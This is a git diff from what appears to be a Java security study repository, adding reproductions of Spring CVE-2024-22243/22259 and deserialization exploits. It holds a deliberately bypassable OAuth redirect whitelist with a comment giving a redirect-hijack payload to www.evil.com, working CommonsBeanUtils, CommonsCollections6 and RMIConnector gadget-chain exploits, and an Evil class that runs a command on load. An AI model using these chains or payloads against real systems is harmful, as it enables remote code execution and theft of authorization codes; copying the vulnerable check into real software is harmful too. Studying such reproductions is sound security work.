a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java new file mode 100644 index 00000000..a42d00b7 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/test/java/com/drunkbaby/Cve202422243ApplicationTests.java @@ -0,0 +1,13 @@ +package com.drunkbaby; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class Cve202422243ApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore new file mode 100644 index 00000000..549e00a2 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/.gitignore @@ -0,0 +1,33 @@ +HELP.md +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### STS ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### IntelliJ IDEA ### +.idea +*.iws +*.iml +*.ipr + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml new file mode 100644 index 00000000..d7609148 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/pom.xml @@ -0,0 +1,33 @@ + + + + org.springframework.boot + spring-boot-starter-parent + 2.7.18 + + + 4.0.0 + + spring-uricomponentsbuilder-2 + + + 8 + 8 + + + + + org.springframework.boot + spring-boot-starter-web + + + + org.springframework + spring-web + 5.3.32 + + + + \ No newline at end of file diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java new file mode 100644 index 00000000..974624c4 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/Cve202422259Application.java @@ -0,0 +1,13 @@ +package com.drunkbaby; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class Cve202422259Application { + + public static void main(String[] args) { + SpringApplication.run(Cve202422259Application.class, args); + } + +} diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java new file mode 100644 index 00000000..d27eaae4 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/main/java/com/drunkbaby/controller/OAuthController.java @@ -0,0 +1,74 @@ +package com.drunkbaby.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.util.UriComponents; +import org.springframework.web.util.UriComponentsBuilder; + +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +/** + * @author threedr3am + * + * CVE-2024-22259 + * + * 使用UricomponentsBuilder解析外部提供的URL(例如通过查询参数)并对解析URL的主机执行验证检查的应用程序可能容易受到公开重定向攻击, + * 如果在通过验证检查后使用该URL,则可能容易受到SSRF攻击。 + * 这与CVE-2024-22243相同,这是另一种输入不同的情况。 + * + * ### 修复方案 + * 1. 将 org.springframework:spring-web 升级至 6.1.5 及以上版本 + * 2. 将 org.springframework:spring-web 升级至 6.0.18 及以上版本 + * 3. 将 org.springframework:spring-web 升级至 5.3.33 及以上版本 + * + * ### 参考链接 + * https://spring.io/security/cve-2024-22259 + * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22259 + * + */ +@Controller +@RequestMapping("/oauth") +public class OAuthController { + + private static final Set whiteDomains = new HashSet(Arrays.asList(new String[]{ + ".fuckpdd.com" + })); + + /** + * 一般绕过oauth的host校验,可以开放重定向到恶意站点劫持code + * 访问:http://127.0.0.1:8080/oauth?redirect_uri=http%3A%2F%2F%40www.fuckpdd.com%5B%40www.evil.com%2Ftou + * + * + * @param redirectUri [CVE-2024-22259] -> http://@www.fuckpdd.com[@www.evil.com/tou + * [CVE-2024-22243] -> http://www.fuckpdd.com[@www.evil.com/tou + * @return + */ + @GetMapping + public String oauth(@RequestParam(name = "redirect_uri") String redirectUri, HttpServletResponse response) throws IOException { + UriComponents uriComponents = UriComponentsBuilder.fromUriString(redirectUri).build(); + String schema = uriComponents.getScheme(); + String host = uriComponents.getHost(); + String path = uriComponents.getPath(); + + System.out.printf("schema:%s\n", schema); + System.out.printf("host:%s\n", host); + System.out.printf("path:%s\n", path); + + boolean pass = false; + for (String whiteDomain : whiteDomains) { + if (host.endsWith(whiteDomain)) { + pass = true; + break; + } + } + if (!pass) return "error"; + + return "redirect:" + redirectUri; + } +} \ No newline at end of file diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java new file mode 100644 index 00000000..93f3b2d0 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22259/src/test/java/com/drunkbaby/Cve202422259ApplicationTests.java @@ -0,0 +1,13 @@ +package com.drunkbaby; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class Cve202422259ApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git "a/JavaSecurity/Static_Analyze/2022351円225円277円345円237円216円346円235円257円/b4bycoffee-0.0.1-SNAPSHOT.jar" "b/JavaSecurity/Static_Analyze/2022351円225円277円345円237円216円346円235円257円/b4bycoffee-0.0.1-SNAPSHOT.jar" new file mode 100644 index 00000000..a164bac7 Binary files /dev/null and "b/JavaSecurity/Static_Analyze/2022351円225円277円345円237円216円346円235円257円/b4bycoffee-0.0.1-SNAPSHOT.jar" differ diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml b/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml index ccfcf87d..1d129a95 100644 --- a/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml +++ b/JavaSecurity/Struts2/Struts2AndOGNL/pom.xml @@ -57,12 +57,12 @@ org.apache.struts struts2-core - 2.0.8 + 2.5.32 ognl ognl - 3.1.19 + 3.1.29 diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/src/main/java/com/drunkbaby/OGNLGrammar/Test.java b/JavaSecurity/Struts2/Struts2AndOGNL/src/main/java/com/drunkbaby/OGNLGrammar/Test.java new file mode 100644 index 00000000..644f51a9 --- /dev/null +++ b/JavaSecurity/Struts2/Struts2AndOGNL/src/main/java/com/drunkbaby/OGNLGrammar/Test.java @@ -0,0 +1,13 @@ +package com.drunkbaby.OGNLGrammar; + +import ognl.Ognl; +import ognl.OgnlException; + +public class Test { + public static void main(String[] args) throws OgnlException { + String expression = "#{9*9}"; + Object expr = Ognl.parseExpression(expression); + Object value = Ognl.getValue(expr, expression); + System.out.println(value); + } +} diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class index f7ded7ab..793c044f 100644 Binary files a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/EvilCalc.class differ diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/Test.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/Test.class new file mode 100644 index 00000000..37028c1e Binary files /dev/null and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/Test.class differ diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class index 534d84a8..5eab7dba 100644 Binary files a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitContext.class differ diff --git a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class index 5da9ee63..c6922c79 100644 Binary files a/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class and b/JavaSecurity/Struts2/Struts2AndOGNL/target/classes/com/drunkbaby/OGNLGrammar/VisitRoot.class differ diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/.gitignore" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/.gitignore" new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/.gitignore" @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/pom.xml" new file mode 100644 index 00000000..823878e5 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/pom.xml" @@ -0,0 +1,45 @@ + + 4.0.0 + + org.example + TwiceDeserialize + 1.0-SNAPSHOT + + CommonsBeanUtils + Archetype - CommonsBeanUtils + http://maven.apache.org + + + + commons-beanutils + commons-beanutils + 1.9.2 + + + + commons-collections + commons-collections + 3.1 + + + + commons-logging + commons-logging + 1.2 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java" new file mode 100644 index 00000000..7285f67d --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/CommonsBeanUtilsEXP.java" @@ -0,0 +1,71 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.beanutils.BeanComparator; + +import java.io.*; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Base64; +import java.util.PriorityQueue; + +public class CommonsBeanUtilsEXP { + public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ + Field field = obj.getClass().getDeclaredField(fieldname); + field.setAccessible(true); + field.set(obj,value); + } + + public static void main(String[] args) throws Exception { + byte[] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); + setFieldValue(obj, "_name", "a"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + PriorityQueue queue1 = getpayload(obj, "outputProperties"); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA")); + + PriorityQueue queue2 = getpayload(signedObject, "object"); + + //序列化 +// ByteArrayOutputStream baos = new ByteArrayOutputStream(); +// ObjectOutputStream oos = new ObjectOutputStream(baos); +// oos.writeObject(queue2); +// oos.close(); +// System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + serialize(queue2); + + //反序列化 + deserialize("ser.bin"); + } + + public static PriorityQueue getpayload(Object object, String string) throws Exception { + BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); + priorityQueue.add("1"); + priorityQueue.add("2"); + setFieldValue(beanComparator, "property", string); + setFieldValue(priorityQueue, "queue", new Object[]{object, null}); + return priorityQueue; + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object deserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java" similarity index 89% rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" rename to "JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java" index e2742391..6db03202 100644 --- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/java/Evil.java" @@ -1,5 +1,3 @@ -package src.DynamicClassLoader.URLClassLoader; - import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; @@ -9,7 +7,7 @@ import java.io.IOException; // 弹计算器的万能类 -public class Calc extends AbstractTranslet { +public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); @@ -27,4 +25,4 @@ public void transform(DOM document, SerializationHandler[] handlers) throws Tran public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } -} +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..6c282754 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + CommonsBeanUtils + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..9fb51454 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $CommonsBeanUtils + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/CommonsBeanUtils/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/pom.xml" new file mode 100644 index 00000000..636173d4 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/pom.xml" @@ -0,0 +1,31 @@ + + 4.0.0 + + org.example + TwiceDeserialize + 1.0-SNAPSHOT + + RMIConnector + Archetype - RMIConnector + http://maven.apache.org + + + commons-collections + commons-collections + 3.2.1 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java" new file mode 100644 index 00000000..15ac2566 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/CC6EXP.java" @@ -0,0 +1,54 @@ +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CC6EXP { + public static void main(String[] args) throws Exception { + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), + new ConstantTransformer(1), + }; + + // 先使用fakeTransformer防止本地命令执行 + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key"); + + Map objMap = new HashMap(); + objMap.put(tiedMapEntry, "value"); + outerMap.remove("key"); + + // 使用反射替换transformerChain的transformers + Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); + f.setAccessible(true); + f.set(transformerChain, transformers); + + serialize(objMap); + + deserialize("ser.bin"); + } + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{ + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } + +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/Evil.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/Evil.java" new file mode 100644 index 00000000..6db03202 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/Evil.java" @@ -0,0 +1,28 @@ +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.IOException; + +// 弹计算器的万能类 +public class Evil extends AbstractTranslet { + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e){ + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java" new file mode 100644 index 00000000..14b0aa7f --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java" @@ -0,0 +1,100 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.remote.JMXServiceURL; +import javax.management.remote.rmi.RMIConnector; +import java.io.*; +import java.lang.reflect.Field; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +public class RMiConnectorEXP { + public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ + Field field = obj.getClass().getDeclaredField(fieldname); + field.setAccessible(true); + field.set(obj,value); + } + + public static HashMap getObject() throws Exception{ + + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), + new ConstantTransformer(1), + }; + + // 先使用fakeTransformer防止本地命令执行 + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key"); + + HashMap objMap = new HashMap(); + objMap.put(tiedMapEntry, "value"); + outerMap.remove("key"); + + // 使用反射替换transformerChain的transformers + Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); + f.setAccessible(true); + f.set(transformerChain, transformers); + + return objMap; + } + + public static void main(String[] args) throws Exception { + ByteArrayOutputStream tser = new ByteArrayOutputStream(); + ObjectOutputStream toser = new ObjectOutputStream(tser); + toser.writeObject(getObject()); + toser.close(); + + String exp= Base64.getEncoder().encodeToString(tser.toByteArray()); + + JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); + setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp); + RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); + + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + + HashMap map = new HashMap(); + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector); + + HashMap expMap = new HashMap(); + expMap.put(tiedMapEntry, "test"); + lazyMap.remove(rmiConnector); + + setFieldValue(lazyMap,"factory", invokerTransformer); + + //序列化 + serialize(expMap); + + //反序列化 + deserialize("ser.bin"); + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object deserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } + +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..fc2ef500 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + RMIConnector + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..29291cb7 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $RMIConnector + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/main/java/App.java" 